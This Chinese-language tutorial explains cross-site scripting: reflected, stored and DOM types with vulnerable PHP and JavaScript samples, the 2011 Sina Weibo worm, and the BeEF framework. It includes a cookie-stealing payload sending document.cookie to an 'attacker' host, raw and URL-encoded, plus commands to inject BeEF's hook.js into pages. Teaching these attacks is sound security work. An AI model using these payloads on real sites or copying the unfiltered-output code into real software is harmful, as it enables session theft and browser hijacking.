根据 HackerOne《2020 Hacker Report》,XSS 漏洞占所有报告漏洞的 23%,排名第一,是 Web 漏洞中最常见的一类。XSS 的攻击原理是:网站对用户输入数据未做有效过滤,攻击者将恶意脚本注入页面,诱使受害者打开特定网址后在浏览器中执行,从而窃取身份、执行敏感操作或实施其他危害。本文讲解 XSS 的起源、分类、利用方法与防御思路。
只针对 alert 弹框做过滤来修复 XSS,是对攻防原理理解不足的典型表现。
| 类型 | 触发方式 | 典型场景 | 危害程度 |
|---|---|---|---|
| 反射型(非持久) | 攻击代码放 URL 参数,需诱骗用户点击 | 搜索框、错误提示回显 | 中(需诱导) |
| 存储型(持久) | 攻击代码存服务器,访问页面即触发 | 留言板、博客评论、帖子 | 高(可蠕虫传播) |
| DOM 型 | 纯客户端,由 JS 操作 DOM 触发,不经过服务端 | innerHTML、eval、document.write | 中(属反射型特例) |
<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; // 未过滤直接输出
}
?>GET 参数 name 未过滤直接 echo 输出,输入 <script>alert(1)</script> 即触发。反射型与存储型危害没有本质区别,区别只在于 URL 是否包含攻击代码。
$message = trim( $_POST[ 'mtxMessage' ] );
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message ); // 转义了引号等,但未过滤标签
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";输入虽经转义入库,但 <script> 标签未被过滤,输出到页面即被解析执行——存储型无需在访问 URL 中包含攻击代码。
// domxss 函数:将输入框内容写入 innerHTML,未做任何过滤
document.getElementById("dom").innerHTML =
document.getElementById("text").value;由于 innerHTML 将输入作为 HTML 解析,输入 javascript:alert(1) 作为链接地址即可触发 JS 执行。常见危险 Sink:innerHTML、eval、document.write 等。
<script>alert(document.cookie)</script>;cookie.php?cookie= 接收并入库);注意:构造链接时要做 URL 编码,否则
+连接符会被吃掉导致窃取失败。
# 未编码的原始载荷
message=<script>document.location='http://attacker/cookie.php?cookie='+document.cookie</script>
# URL 编码后(<、>、空格、引号等均被转义)
message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2Fattacker%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E2011 年 6 月 28 日新浪微博遭 XSS 蠕虫攻击,受害者自动关注 "hellosamy"、向粉丝发送含攻击链接的私信并发布恶意微博,16 分钟感染 33000 用户。其攻击流程:
XMLHttpRequest(Ajax 核心技术)发送请求:发表微博、关注用户、获取关注者列表并发私信;XSS 蠕虫的两个特征:目标网站存在 XSS 漏洞 + 攻击代码自复制传播(依赖社交功能场景)。
声明:在互联网传播 XSS 蠕虫属于违法行为;即使处于合法渗透测试任务,也必须严格控制传播可能性。
凡 JavaScript 能实现的功能都可被利用:键盘记录(onkeypress)、剪贴板窃取(paste 事件)、钓鱼表单等。BeEF 是著名的 XSS 攻击框架,集成了大量利用模块:
$ git clone https://github.com/beefproject/beef
$ cd beef && sudo docker build -t beef .
$ sudo docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 --name beef beef
# 得到 hook.js 地址后,插入漏洞页面:
<script src="http://127.0.0.1:3000/hook.js"></script>
# 受害者访问后,在 http://127.0.0.1:3000/ui/panel 即可控制目标浏览器下一章讲解 XSS 的检测与防御。